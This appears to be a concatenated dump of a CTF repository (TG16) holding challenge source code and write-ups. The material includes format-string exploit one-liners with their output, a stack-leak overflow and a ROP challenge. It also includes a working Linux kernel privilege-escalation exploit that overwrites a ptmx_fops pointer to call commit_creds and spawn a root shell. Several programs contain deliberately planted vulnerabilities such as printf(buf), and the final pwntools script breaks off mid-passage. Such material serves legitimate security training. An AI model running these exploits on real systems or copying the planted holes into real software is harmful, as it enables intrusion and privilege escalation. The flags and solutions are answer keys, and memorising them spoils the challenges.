Sorry, no flag for you :( 29 | Value: dead0016 30 | ``` 31 | 32 | Sweet! However, we can only overwrite the last 2 bytes, so we have to use another `%hn` to overwrite the two higher bytes as well. We need an extra argument in between the two addresses to be able to control the value of the upper bytes. 33 | ``` 34 | $ python2 -c 'print "\xac\x99\x04\x08ASDF\xae\x99\x04\x08" + "%x%x" + "%08x" + "%hn" + "%08x" + "%hn"' | nc 127.0.0.1 7778 35 | Change 0xdeadbeef (at 0x80499ac) to 0xabadcafe 36 | Enter a nice message: You entered: 37 | ��ASDF��3ff7fd1c200000000046445341 38 | Sorry, no flag for you :( 39 | Value: 26001e 40 | ``` 41 | 42 | One way of getting the correct values now is to use the formula `wanted - current + 8` (+8 because we're printing with `%08x`). 43 | 44 | 45 | ``` 46 | $ python2 -c 'print "\xac\x99\x04\x08ASDF\xae\x99\x04\x08" + "%x%x" + "%51944x" + "%hn" + "%08x" + "%hn"' | nc 127.0.0.1 7778 47 | [lots of crap] 48 | Sorry, no flag for you :( 49 | Value: cb06cafe 50 | ``` 51 | 52 | `0xabad - 0xcb06 + 8 = -8017`, so we have to add a `1` to `abad``. `0x1abad - 0xcb06 + 8 = 57519`. 53 | 54 | ``` 55 | python2 -c 'print "\xac\x99\x04\x08ASDF\xae\x99\x04\x08" + "%x%x" + "%51944x" + "%hn" + "%57519x" + "%hn"' | nc 127.0.0.1 7778 56 | [...] 57 | Success! The flag is: TG16{overWrit3_that_shit_y0} 58 | ``` 59 | -------------------------------------------------------------------------------- /stego/harold2/writeup.md: -------------------------------------------------------------------------------- 1 | # Write-up 2 | 3 | I'm still expecting this to be very easy as it's one of the early ones, and since 4 | Harold doesn't seem to know squat about stego. 5 | 6 | A simple 7 | 8 | ```sh 9 | $ strings harold2.jpg | grep TG16{ 10 | ``` 11 | 12 | does not work this time, but we can view it in a pager and look for clues: 13 | 14 | ```sh 15 | $ less harold2.jpg 16 | ``` 17 | 18 | Here we see something interesting. Especially this part here: 19 | 20 | ``` 21 | XP-O^Sq^BF^T&`<82>-Z^Y<93>^A^@<92>j^@^?<87><9B> 22 | ֤=7<91>5"d^N[xr<9B>3^WXs^U^HS1pO^BwTYmX 23 | ^R%<91>1uL_<9B>v<82>Ю<93>{NUy`^Mث<8B>\JS<95>F^XŠ<88><8 24 | ^B<9D>osΔO<9B>9"^A<80>1_^T^F^M/ߎv'<8E>lcj^Fka^F^^V<97>CV^BCFZ<87>Y<95>T?<9C>o˘>^X[PG$Ea<87><8A>6T 26 | *) 0xdeadbef0 16 | gdb-peda$ disas get_user_info 17 | Dump of assembler code for function get_user_info: 18 | 0x0000000000400616 <+0>: sub rsp,0x58 19 | 0x000000000040061a <+4>: mov rax,QWORD PTR fs:0x28 20 | 0x0000000000400623 <+13>: mov QWORD PTR [rsp+0x48],rax 21 | 0x0000000000400628 <+18>: xor eax,eax 22 | 0x000000000040062a <+20>: mov rdi,rsp 23 | 0x000000000040062d <+23>: mov ecx,0x8 24 | 0x0000000000400632 <+28>: rep stos QWORD PTR es:[rdi],rax 25 | 0x0000000000400635 <+31>: mov esi,0x400724 26 | 0x000000000040063a <+36>: mov edi,0x1 27 | 0x000000000040063f <+41>: call 0x400510 <__printf_chk@plt> 28 | 0x0000000000400644 <+46>: mov rdi,rsp 29 | 0x0000000000400647 <+49>: mov eax,0x0 30 | 0x000000000040064c <+54>: call 0x400500 31 | 0x0000000000400651 <+59>: mov rdx,rsp 32 | 0x0000000000400654 <+62>: mov esi,0x400730 33 | 0x0000000000400659 <+67>: mov edi,0x1 34 | 0x000000000040065e <+72>: mov eax,0x0 35 | 0x0000000000400663 <+77>: call 0x400510 <__printf_chk@plt> 36 | 0x0000000000400668 <+82>: mov rax,QWORD PTR [rsp+0x48] 37 | 0x000000000040066d <+87>: xor rax,QWORD PTR fs:0x28 38 | 0x0000000000400676 <+96>: je 0x40067d 39 | 0x0000000000400678 <+98>: call 0x4004d0 <__stack_chk_fail@plt> 40 | 0x000000000040067d <+103>: add rsp,0x58 41 | 0x0000000000400681 <+107>: ret 42 | End of assembler dump. 43 | b *0x000000000040064c 44 | Breakpoint 1 at 0x40064c 45 | gdb-peda$ b main 46 | Breakpoint 2 at 0x400682 47 | $ find /home 48 | Searching for '/home' in: None ranges 49 | Found 12 results, display max 12 items: 50 | [stack] : 0x7fffffffeb20 ("/home/pewz/git/tg16hack/pwn/leak/leak") 51 | [...] 52 | $ find 0x7fffffffeb20 53 | Searching for '0x7fffffffeb20' in: None ranges 54 | Found 2 results, display max 2 items: 55 | libc : 0x7ffff7dd63f8 --> 0x7fffffffeb20 ("/home/pewz/git/tg16hack/pwn/leak/leak") 56 | [stack] : 0x7fffffffe868 --> 0x7fffffffeb20 ("/home/pewz/git/tg16hack/pwn/leak/leak") 57 | gdb-peda$ c 58 | Continuing. 59 | [...] 60 | Breakpoint 1, 0x000000000040064c in get_user_info () 61 | gdb-peda$ i r rsp 62 | rsp 0x7fffffffe720 0x7fffffffe720 63 | gdb-peda$ print 0x7fffffffe868-0x7fffffffe720 64 | $3 = 0x148 65 | ``` 66 | 67 | Let's overwrite argv[0] with the address of the flag! 68 | 69 | 70 | ``` 71 | python2 -c 'import struct; print "A" * 0x148 + struct.pack(" 5 | #include 6 | #include 7 | #include 8 | 9 | #define flag "TG16{evil_Packets_everywhere_y0u_better_be_SCARED_y0}" 10 | 11 | static inline int send_icmp(uint8_t *payload, size_t payload_size, 12 | uint32_t ip_addr, int evil, libnet_t *l) 13 | { 14 | size_t size = LIBNET_IPV4_H + LIBNET_ICMPV4_ECHO_H + sizeof(payload); 15 | uint8_t tos = 0; 16 | uint8_t id = 0; 17 | uint16_t frag = evil ? 1 << 15 : 0; /* set evil bit, or not*/ 18 | uint8_t ttl = 64; 19 | uint8_t prot = IPPROTO_ICMP; 20 | uint16_t sum = 0; /* autofill */ 21 | uint32_t src_ip = ip_addr; /* TODO: fix this shit */ 22 | uint32_t dst_ip = ip_addr; 23 | 24 | libnet_clear_packet(l); 25 | 26 | /* build ICMP header */ 27 | if (libnet_build_icmpv4_echo(ICMP_ECHO, 0, 0, id, 1, 28 | payload, payload_size, l, 0) == -1) { 29 | fprintf(stderr, "Error building ICMP header: %s\n", 30 | libnet_geterror(l)); 31 | return -1; 32 | } 33 | 34 | if (libnet_build_ipv4(size, tos, id, frag, ttl, prot, sum, 35 | src_ip, dst_ip, 0, 0, l, 0) == -1) { 36 | fprintf(stderr, "Error building IP header: %s\n", 37 | libnet_geterror(l)); 38 | return -1; 39 | } 40 | 41 | int written = libnet_write(l); 42 | if (written != -1) { 43 | printf("Wrote %d bytes.\n", written); 44 | } else { 45 | fprintf(stderr, "Error writing packet: %s\n", 46 | libnet_geterror(l)); 47 | return -1; 48 | } 49 | 50 | return 0; 51 | } 52 | 53 | /* 54 | * Send an ICMP packet with 4 bytes random payload 55 | */ 56 | static inline int send_random_icmp(uint32_t ip_addr, libnet_t *l) 57 | { 58 | uint8_t payload[4]; 59 | 60 | for (int i = 0; i < sizeof(payload); i++) 61 | payload[i] = libnet_get_prand(LIBNET_PR8); 62 | 63 | if (send_icmp(payload, sizeof(payload), ip_addr, 0, l)) 64 | return -1; 65 | 66 | return 0; 67 | } 68 | 69 | static inline int send_flag_part(uint32_t ip_addr, libnet_t *l) 70 | { 71 | /* 72 | * send 1-6 random packets 73 | * 1 flag packet (4 bytes) 74 | * rinse and repeat 75 | */ 76 | size_t flag_pos = 0; 77 | size_t max_pos = sizeof(flag) / 4; 78 | size_t rest = sizeof(flag) % 4; 79 | 80 | while (flag_pos < max_pos * 4) { 81 | uint8_t num = libnet_get_prand(LIBNET_PR8) % 6; 82 | 83 | fprintf(stderr, "Sending %d random packets.\n", num); 84 | 85 | for (int i = 0; i < num; i++) 86 | send_random_icmp(ip_addr, l); 87 | 88 | char *ptr = flag + flag_pos; 89 | 90 | send_icmp((uint8_t *)ptr, 4, ip_addr, 1, l); 91 | 92 | flag_pos += 4; 93 | } 94 | 95 | char tmp[4] = { 0 }; 96 | memcpy(tmp, flag + flag_pos, rest); 97 | send_icmp((uint8_t *)tmp, 4, ip_addr, 1, l); 98 | 99 | return 0; 100 | } 101 | 102 | libnet_t *init_libnet(void) 103 | { 104 | char errbuf[LIBNET_ERRBUF_SIZE]; 105 | 106 | libnet_t *l = libnet_init(LIBNET_RAW4, NULL, errbuf); 107 | if (!l) { 108 | fprintf(stderr, "libnet_init() failed: %s\n", errbuf); 109 | return NULL; 110 | } 111 | 112 | libnet_seed_prand(l); 113 | 114 | return l; 115 | } 116 | 117 | int main(void) 118 | { 119 | libnet_t *l; 120 | char ip_addr_str[16]; 121 | u_int32_t ip_addr; 122 | u_int16_t id, seq; 123 | const char payload[] = "fuck off"; 124 | int written; 125 | 126 | l = init_libnet(); 127 | if (!l) 128 | exit(EXIT_FAILURE); 129 | 130 | id = (u_int16_t)libnet_get_prand(LIBNET_PR16); 131 | 132 | /* destination IP address */ 133 | printf("Destination IP: "); 134 | scanf("%15s", ip_addr_str); 135 | 136 | ip_addr = libnet_name2addr4(l, ip_addr_str, LIBNET_DONT_RESOLVE); 137 | if (ip_addr == -1) { 138 | fprintf(stderr, "Error converting IP.\n"); 139 | goto fail; 140 | } 141 | 142 | send_flag_part(ip_addr, l); 143 | 144 | libnet_destroy(l); 145 | return 0; 146 | fail: 147 | libnet_destroy(l); 148 | exit(EXIT_FAILURE); 149 | } 150 | -------------------------------------------------------------------------------- /finale/part3/pwn/pwn.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include "lol.h" 10 | 11 | /* 12 | * Function prototypes: 13 | * int commit_creds(struct cred *new) 14 | * struct cred *prepare_kernel_cred(struct task_struct *daemon) 15 | */ 16 | typedef int __attribute__((regparm(3))) (*_commit)(void *new); 17 | typedef void *__attribute__((regparm(3))) (*_prepare)(void *daemon); 18 | 19 | static uint32_t *ptmx_ptr; 20 | static void *commit_ptr; 21 | static void *prepare_ptr; 22 | 23 | static ssize_t get_root(void) 24 | { 25 | _commit commit_creds = (_commit)commit_ptr; 26 | _prepare prepare_kernel_cred = (_prepare)prepare_ptr; 27 | 28 | commit_creds(prepare_kernel_cred(0)); 29 | 30 | *ptmx_ptr = 0; 31 | 32 | return 0; 33 | } 34 | 35 | static inline void *find_kernel_symbol(FILE *fp, const char *sym) 36 | { 37 | char c; 38 | int ret = 0; 39 | char name[256] = { 0 }; 40 | 41 | void *addr; 42 | 43 | for (;;) { 44 | ret = fscanf(fp, "%p %c %s\n", &addr, &c, name); 45 | 46 | if (!strcmp(name, sym)) 47 | break; 48 | 49 | if (ret != 3) 50 | return NULL; 51 | } 52 | 53 | printf("[+] %s: %p\n", name, addr); 54 | 55 | return addr; 56 | } 57 | 58 | int main(void) 59 | { 60 | FILE *fp; 61 | void *ptmx; 62 | int fd, pfd; 63 | ssize_t ret; 64 | pid_t pids[] = { 1337, 42, 69, 0 }; 65 | struct lol_alloc l = { .size = 1337 }; 66 | 67 | fp = fopen("/proc/kallsyms", "r"); 68 | if (!fp) { 69 | perror("fopen()"); 70 | exit(EXIT_FAILURE); 71 | } 72 | 73 | commit_ptr = find_kernel_symbol(fp, "commit_creds"); 74 | prepare_ptr = find_kernel_symbol(fp, "prepare_kernel_cred"); 75 | ptmx = find_kernel_symbol(fp, "ptmx_fops"); 76 | ptmx_ptr = (uint32_t *)((char *)ptmx + sizeof(void *) * 4); 77 | 78 | fclose(fp); 79 | 80 | if (!commit_ptr || !prepare_ptr || !ptmx) { 81 | fprintf(stderr, "[-] couldn't find symbols :(\n"); 82 | goto fail; 83 | } 84 | 85 | pfd = open("/dev/ptmx", O_RDONLY); 86 | if (pfd == -1) { 87 | perror("open(/dev/ptmx)"); 88 | goto fail; 89 | } 90 | 91 | fd = open("/dev/loldev", O_RDWR); 92 | if (fd == -1) { 93 | perror("open(/dev/loldev)"); 94 | close(pfd); 95 | goto fail; 96 | } 97 | 98 | if (ioctl(fd, LOL_ALLOC, &l)) { 99 | perror("ioctl(LOL_ALLOC)"); 100 | goto fail_close; 101 | } 102 | 103 | /* 104 | * struct file_operations { 105 | * struct module *owner; 106 | * loff_t (*llseek) (struct file *, loff_t, int); 107 | * ssize_t (*read) (struct file *, char __user *, size_t, loff_t *); 108 | * ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *); 109 | * ssize_t (*read_iter) (struct kiocb *, struct iov_iter *); 110 | * ssize_t (*write_iter) (struct kiocb *, struct iov_iter *) 111 | * [...] 112 | * }; 113 | * 114 | * We're overwriting read_iter, which will trigger when we call readv. 115 | */ 116 | pids[3] = (pid_t)ptmx_ptr; 117 | 118 | for (int i = 0; i < 4; i++) { 119 | if (ioctl(fd, LOL_ADD_USER, &pids[i])) { 120 | perror("ioctl(LOL_ADD_USER)"); 121 | goto fail_close; 122 | } 123 | } 124 | 125 | /* overwrite pointer with payload */ 126 | void *tmp = get_root; 127 | ret = write(fd, &tmp, sizeof(void *)); 128 | if (ret == -1) { 129 | perror("write()"); 130 | goto fail_close; 131 | } 132 | 133 | /* trigger payload with readv */ 134 | struct iovec iov; 135 | iov.iov_base = &iov; 136 | iov.iov_len = 1; 137 | ret = readv(pfd, &iov, 1); 138 | if (ret == -1) { 139 | perror("readv()"); 140 | goto fail_close; 141 | } 142 | 143 | if (getuid()) { 144 | printf("[-] failed to elevate privileges :(\n"); 145 | goto fail_close; 146 | } 147 | 148 | printf("[+] got root <3\n"); 149 | execl("/bin/sh", "sh", NULL); 150 | 151 | close(fd); 152 | return 0; 153 | 154 | fail_close: 155 | close(pfd); 156 | close(fd); 157 | fail: 158 | exit(EXIT_FAILURE); 159 | } 160 | -------------------------------------------------------------------------------- /pwn/rop32/src/rop.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #define __unused __attribute__((unused)) 13 | #define __noinline __attribute__((noinline)) 14 | 15 | struct addr_info { 16 | void *base; 17 | size_t size; 18 | }; 19 | 20 | static inline void *get_func(const char *name) 21 | { 22 | void *f; 23 | 24 | f = dlsym(RTLD_NEXT, name); 25 | if (!f) { 26 | fprintf(stderr, "[-] Couldn't find function %s :(\n", name); 27 | return NULL; 28 | } 29 | 30 | return f; 31 | } 32 | 33 | static inline void print_func_addr(void) 34 | { 35 | void *f; 36 | /* TODO: max length of name? */ 37 | char name[256] = { 0 }; 38 | 39 | printf("Function name: "); 40 | if (!fgets(name, sizeof(name), stdin)) 41 | return; 42 | 43 | name[strcspn(name, "\n")] = '\0'; 44 | 45 | f = get_func(name); 46 | if (f) 47 | printf("[+] Address of %s: %p\n", name, f); 48 | } 49 | 50 | static __noinline void insert_rop(void) 51 | { 52 | ssize_t ret; 53 | char rop_chain[1024] = { 0 }; 54 | void *frame = __builtin_frame_address(0); 55 | 56 | printf("Insert rop chain, max %zu bytes: ", sizeof(rop_chain)); 57 | 58 | ret = read(STDIN_FILENO, rop_chain, sizeof(rop_chain)); 59 | if (ret == -1) { 60 | perror("read()"); 61 | return; 62 | } 63 | 64 | memcpy((char *)frame + 4, rop_chain, ret); 65 | } 66 | 67 | /* round up n to nearest multiple of size */ 68 | #define round_up(n, size) (((size) - ((n) % (size))) + (n)) 69 | 70 | static int callback(struct dl_phdr_info *info, size_t __unused size, void *data) 71 | { 72 | if (!strstr(info->dlpi_name, "libc")) 73 | return 0; 74 | 75 | assert(data); 76 | struct addr_info *addr = (struct addr_info *)data; 77 | addr->base = (void *)info->dlpi_addr; 78 | uint64_t mem_size = 0; 79 | 80 | long page_size = sysconf(_SC_PAGESIZE); 81 | 82 | for (int i = 0; i < info->dlpi_phnum; i++) { 83 | /* 84 | * XXX: we pick the first and best PT_LOAD section, 85 | * not sure if it always works 86 | */ 87 | if (info->dlpi_phdr[i].p_type != PT_LOAD) 88 | continue; 89 | mem_size = round_up(info->dlpi_phdr[i].p_memsz, page_size); 90 | break; 91 | } 92 | 93 | addr->size = mem_size; 94 | 95 | return 0; 96 | } 97 | 98 | static void timer_handler(int __unused signum) 99 | { 100 | fprintf(stderr, "Bye, bye!\n"); 101 | exit(EXIT_SUCCESS); 102 | } 103 | 104 | static void search_string(void *start, size_t size) 105 | { 106 | char *found; 107 | char str[256] = { 0 }; 108 | 109 | printf("String (%zu bytes max): ", sizeof(str)); 110 | if (!fgets(str, sizeof(str), stdin)) 111 | return; 112 | 113 | str[strcspn(str, "\n")] = '\0'; 114 | 115 | printf("[+] searcing for %s...\n", str); 116 | 117 | found = memmem(start, size, str, strlen(str)); 118 | if (!found) 119 | printf("[-] couldn't find \"%s\" :(\n", str); 120 | else 121 | printf("[+] found \"%s\" at %p!\n", str, found); 122 | } 123 | 124 | int main(void) 125 | { 126 | int choice; 127 | char buf[15] = { 0 }; 128 | struct sigaction sa; 129 | struct addr_info info = { 0 }; 130 | 131 | memset(&sa, 0, sizeof(sa)); 132 | 133 | sa.sa_handler = timer_handler; 134 | sigemptyset(&sa.sa_mask); 135 | sa.sa_flags = SA_RESTART; 136 | 137 | if (sigaction(SIGALRM, &sa, NULL) == -1) { 138 | perror("sigaction()"); 139 | exit(EXIT_FAILURE); 140 | } 141 | 142 | alarm(60); 143 | 144 | setbuf(stdin, NULL); 145 | setbuf(stdout, NULL); 146 | setbuf(stderr, NULL); 147 | 148 | dl_iterate_phdr(callback, &info); 149 | 150 | for (;;) { 151 | printf("ROP helper 13.37\n"); 152 | printf("1. print libc address\n"); 153 | printf("2. print function address\n"); 154 | printf("3. insert ROP chain\n"); 155 | printf("4. search for string\n"); 156 | printf("5. quit\n"); 157 | printf("Choice: "); 158 | 159 | if (!fgets(buf, sizeof(buf), stdin)) 160 | break; 161 | 162 | choice = atoi(buf); 163 | 164 | switch (choice) { 165 | case 1: 166 | printf("[+] libc start address: %p\n", info.base); 167 | break; 168 | case 2: 169 | print_func_addr(); 170 | break; 171 | case 3: 172 | insert_rop(); 173 | break; 174 | case 4: 175 | search_string(info.base, info.size); 176 | break; 177 | case 5: 178 | printf("Bye!\n"); 179 | goto out; 180 | default: 181 | printf("Invalid option!\n"); 182 | } 183 | 184 | printf("\n"); 185 | } 186 | 187 | out: 188 | return 0; 189 | } 190 | -------------------------------------------------------------------------------- /pwn/rop64/src/rop64.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | struct addr_info { 13 | void *base; 14 | size_t size; 15 | }; 16 | 17 | #define __unused __attribute__((unused)) 18 | #define __noinline __attribute__((noinline)) 19 | 20 | static inline void *get_func(const char *name) 21 | { 22 | void *f; 23 | 24 | f = dlsym(RTLD_NEXT, name); 25 | if (!f) { 26 | fprintf(stderr, "Invalid name :(\n"); 27 | return NULL; 28 | } 29 | 30 | return f; 31 | } 32 | 33 | static inline void print_func_addr(void) 34 | { 35 | void *f; 36 | /* TODO: max length of name? */ 37 | char name[256] = { 0 }; 38 | 39 | printf("Function name: "); 40 | if (!fgets(name, sizeof(name), stdin)) 41 | return; 42 | 43 | name[strcspn(name, "\n")] = '\0'; 44 | 45 | f = get_func(name); 46 | 47 | printf("[+] Address of %s: %p\n", name, f); 48 | } 49 | 50 | static __noinline void insert_rop(void) 51 | { 52 | ssize_t ret; 53 | char rop_chain[1024] = { 0 }; 54 | void *frame = __builtin_frame_address(0); 55 | 56 | printf("Insert rop chain, max %zu bytes: ", sizeof(rop_chain) - 1); 57 | 58 | ret = read(STDIN_FILENO, rop_chain, sizeof(rop_chain) - 1); 59 | if (ret == -1) { 60 | perror("read()"); 61 | return; 62 | } 63 | 64 | memcpy((char *)frame + 8, rop_chain, ret); 65 | } 66 | 67 | /* round up n to nearest multiple of size */ 68 | #define round_up(n, size) (((size) - ((n) % (size))) + (n)) 69 | 70 | static int callback(struct dl_phdr_info *info, size_t __unused size, void *data) 71 | { 72 | if (!strstr(info->dlpi_name, "libc")) 73 | return 0; 74 | 75 | struct addr_info *addr = (struct addr_info *)data; 76 | addr->base = (void *)info->dlpi_addr; 77 | uint64_t mem_size = 0; 78 | 79 | long page_size = sysconf(_SC_PAGESIZE); 80 | 81 | for (int i = 0; i < info->dlpi_phnum; i++) { 82 | /* 83 | * XXX: we pick the first and best PT_LOAD section, 84 | * is this correct? 85 | */ 86 | if (info->dlpi_phdr[i].p_type != PT_LOAD) 87 | continue; 88 | mem_size = round_up(info->dlpi_phdr[i].p_memsz, page_size); 89 | break; 90 | } 91 | 92 | addr->size = mem_size; 93 | 94 | return 0; 95 | } 96 | 97 | static void timer_handler(int __unused signum) 98 | { 99 | fprintf(stderr, "Bye, bye!\n"); 100 | exit(EXIT_SUCCESS); 101 | } 102 | 103 | static void search_string(void *start, size_t size) 104 | { 105 | char *found; 106 | char str[256] = { 0 }; 107 | 108 | printf("String (%zu bytes max): ", sizeof(str)); 109 | if (!fgets(str, sizeof(str), stdin)) 110 | return; 111 | 112 | str[strcspn(str, "\n")] = '\0'; 113 | 114 | printf("[+] searcing for %s...\n", str); 115 | 116 | found = memmem(start, size, str, strlen(str)); 117 | if (!found) { 118 | printf("[-] couldn't find \"%s\" :(\n", str); 119 | } else { 120 | printf("[+] found \"%s\" at %p!\n", str, found); 121 | } 122 | } 123 | 124 | int main(void) 125 | { 126 | int choice; 127 | char *line = NULL; 128 | char buf[15] = { 0 }; 129 | struct sigaction sa = { 0 }; 130 | struct addr_info info = { 0 }; 131 | 132 | sa.sa_handler = timer_handler; 133 | sigemptyset(&sa.sa_mask); 134 | sa.sa_flags = SA_RESTART; 135 | 136 | if (sigaction(SIGALRM, &sa, NULL) == -1) { 137 | perror("sigaction()"); 138 | exit(EXIT_FAILURE); 139 | } 140 | 141 | alarm(30); 142 | 143 | setbuf(stdin, NULL); 144 | setbuf(stdout, NULL); 145 | setbuf(stderr, NULL); 146 | 147 | dl_iterate_phdr(callback, &info); 148 | printf("libc address: %p\n", info.base); 149 | printf("pid: %d\n", getpid()); 150 | 151 | for (;;) { 152 | printf("ROP helper 13.37\n"); 153 | printf("1. print libc address\n"); 154 | printf("2. print function address\n"); 155 | printf("3. insert ROP chain\n"); 156 | printf("4. search for string\n"); 157 | printf("5. quit\n"); 158 | printf("Choice: "); 159 | 160 | if (!fgets(buf, sizeof(buf), stdin)) 161 | break; 162 | 163 | choice = atoi(buf); 164 | 165 | switch (choice) { 166 | case 1: 167 | printf("[+] libc start address: %p\n", info.base); 168 | break; 169 | case 2: 170 | print_func_addr(); 171 | break; 172 | case 3: 173 | insert_rop(); 174 | break; 175 | case 4: 176 | search_string(info.base, info.size); 177 | break; 178 | case 5: 179 | printf("Bye!\n"); 180 | goto out; 181 | default: 182 | printf("Invalid option!\n"); 183 | } 184 | 185 | printf("\n"); 186 | } 187 | 188 | out: 189 | free(line); 190 | 191 | return 0; 192 | } 193 | -------------------------------------------------------------------------------- /pwn/format3/src/format3.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE /* dlsym stuff */ 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | static __attribute__((noinline)) void super_function(void) 14 | { 15 | printf("Congrats!\n"); 16 | printf("The token is: TG16{hardc0re_overwriting_stuff}\n"); 17 | 18 | /* everything is probably fucked now, so exit */ 19 | syscall(SYS_exit); 20 | } 21 | 22 | struct elf_info { 23 | Elf32_Shdr *sections; 24 | Elf32_Sym *symtab; 25 | Elf32_Sym *dynsym; 26 | char *dynstr; 27 | char *shstrtab; 28 | uint32_t num_syms; 29 | uint32_t num_dynsym; 30 | uint32_t num_sections; 31 | }; 32 | 33 | static inline void *mmap_file(const char *filename) 34 | { 35 | int fd; 36 | off_t fsize; 37 | void *addr; 38 | 39 | fd = open(filename, O_RDONLY); 40 | if (fd == -1) { 41 | perror("open"); 42 | return NULL; 43 | } 44 | 45 | fsize = lseek(fd, 0, SEEK_END); 46 | if (fsize < sizeof(Elf64_Ehdr)) { 47 | fprintf(stderr, "File too small!\n"); 48 | return NULL; 49 | } 50 | 51 | addr = mmap(NULL, fsize, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0); 52 | if (addr == MAP_FAILED) { 53 | perror("mmap"); 54 | return NULL; 55 | } 56 | 57 | close(fd); 58 | return addr; 59 | } 60 | 61 | static inline int check_elf_header(Elf32_Ehdr *head) 62 | { 63 | if (head->e_ident[EI_MAG0] == ELFMAG0 && 64 | head->e_ident[EI_MAG1] == ELFMAG1 && 65 | head->e_ident[EI_MAG2] == ELFMAG2 && 66 | head->e_ident[EI_MAG3] == ELFMAG3) 67 | return 0; 68 | 69 | fprintf(stderr, "Error: not an ELF file\n"); 70 | return -1; 71 | } 72 | 73 | static inline int parse_elf(void *addr, struct elf_info *info) 74 | { 75 | Elf32_Shdr *shead, *str; 76 | 77 | Elf32_Ehdr *head = (Elf32_Ehdr *)addr; 78 | if (check_elf_header(head)) 79 | return -1; 80 | 81 | str = (Elf32_Shdr *)((char *)addr + head->e_shoff + 82 | (head->e_shentsize * head->e_shstrndx)); 83 | char *ptr = (char *)addr + str->sh_offset; 84 | 85 | shead = (Elf32_Shdr *)((char *)addr + head->e_shoff); 86 | info->sections = shead; 87 | info->num_sections = head->e_shnum; 88 | 89 | for (int i = 0; i < head->e_shnum; i++) { 90 | Elf32_Shdr *s = &shead[i]; 91 | if (!s->sh_name) 92 | continue; 93 | 94 | if (!strcmp(ptr + s->sh_name, ".symtab")) { 95 | info->num_syms = s->sh_size / sizeof(Elf32_Sym); 96 | info->symtab = (Elf32_Sym *)((char *)addr + s->sh_offset); 97 | } else if (!strcmp(ptr + s->sh_name, ".shstrtab")) { 98 | info->shstrtab = (char *)addr + s->sh_offset; 99 | } else if (!strcmp(ptr + s->sh_name, ".dynsym")) { 100 | info->num_dynsym = s->sh_size / sizeof(Elf32_Sym); 101 | info->dynsym = (Elf32_Sym *)((char *)addr + s->sh_offset); 102 | } else if (!strcmp(ptr + s->sh_name, ".dynstr")) { 103 | info->dynstr = (char *)addr + s->sh_offset; 104 | } 105 | 106 | } 107 | 108 | return 0; 109 | } 110 | 111 | static inline void *find_exit(void) 112 | { 113 | void *addr = mmap_file("/bin/format3"); 114 | if (!addr) 115 | exit(EXIT_FAILURE); 116 | 117 | struct elf_info info = { 0 }; 118 | if (parse_elf(addr, &info)) 119 | exit(EXIT_FAILURE); 120 | 121 | Elf32_Rel *rel_plt = NULL; 122 | for (int i = 0; i < info.num_sections; i++) { 123 | Elf32_Shdr *s = &info.sections[i]; 124 | char *str = info.shstrtab + s->sh_name; 125 | 126 | if (!strcmp(str, ".rel.plt")) 127 | rel_plt = (Elf32_Rel *)((char *)addr + s->sh_offset); 128 | } 129 | 130 | void *exit_addr = NULL; 131 | /* TODO: fix dynsym size */ 132 | for (int i = 0; i < info.num_dynsym; i++) { 133 | Elf32_Rel *cur_rel = &rel_plt[i]; 134 | 135 | int index = ELF32_R_SYM(cur_rel->r_info); 136 | Elf32_Sym *sym = &info.dynsym[index]; 137 | char *ptr = info.dynstr + sym->st_name; 138 | 139 | if (!strcmp(ptr, "exit")) { 140 | exit_addr = (void *)cur_rel->r_offset; 141 | break; 142 | } 143 | } 144 | 145 | //fprintf(stderr, "exit(): %p\n", exit_addr); 146 | return exit_addr; 147 | } 148 | 149 | int main(void) 150 | { 151 | setvbuf(stdout, NULL, _IONBF, 0); 152 | 153 | printf("Super Secure Format String Playground 13.37\n"); 154 | 155 | void *exit_addr = find_exit(); 156 | 157 | printf("Welcome!\n"); 158 | printf("super_function(): %p\n", super_function); 159 | 160 | printf("Enter an interesting message, please: "); 161 | 162 | char buf[512] = { 0 }; 163 | if (!fgets(buf, sizeof(buf) - 1, stdin)) { 164 | perror("fgets()"); 165 | exit(EXIT_FAILURE); 166 | } 167 | 168 | printf("You entered: "); 169 | printf(buf); 170 | 171 | fprintf(stderr, "exit value: 0x%08x\n", *(uint32_t *)exit_addr); 172 | exit(EXIT_SUCCESS); 173 | } 174 | 175 | /* 176 | * 0x08049a2c - exit@GLIBC_2.0 177 | * 080499b8 178 | * 0xf7e2 2b40 - system 179 | * python2 -c 'print "\x2c\x9a\x04\x08FAEN\x2e\x9a\x04\x08" + "%x." * 2 + "%11047x" + "%hn" + "%52386x" + "%hn"' 180 | * 181 | * 0xf7fd 4530 - fucked up system 182 | * 080499f8 183 | * 0x804855b - func 184 | * 185 | */ 186 | -------------------------------------------------------------------------------- /pwn/rooops/writeup.md: -------------------------------------------------------------------------------- 1 | ### Writeup 2 | First, let's identify the vulnerable code paths. When reading in the name, there's a typo that makes us write 1 byte outside the name buffer boundary. 3 | 4 | ```C 5 | if (read(STDIN_FILENO, user.name, sizeof(user.name) + 1) <= 0) { 6 | perror("read()"); 7 | exit(EXIT_FAILURE); 8 | } 9 | ``` 10 | 11 | Taking a closer look at the `struct user`, we see that this makes it possible to leak the `buf` pointer: 12 | 13 | ```C 14 | struct user { 15 | char name[256]; 16 | char *buf; 17 | }; 18 | ``` 19 | 20 | While this may not look too useful at first, the `mmap`ed buffer will always be located at the same offset from `libc`, so we got ourselves a nice leak! Let's test it: 21 | 22 | ```python2 23 | from pwn import * 24 | import binascii 25 | 26 | p = process("./lol") 27 | p.recvuntil("Enter name: ") 28 | p.send("A" * 257) 29 | tmp = p.recvuntil("!") 30 | 31 | addr = tmp[265:] 32 | addr = addr[:6].ljust(8, "\x00") 33 | addr = u64(addr) 34 | addr -= 0x41 # hex value of 'A' 35 | 36 | libc_base = addr - 0x5c8000 37 | log.info("address: {}".format(hex(addr))) 38 | log.info("libc base: {}".format(hex(libc_base))) 39 | ``` 40 | 41 | With this particular setup, 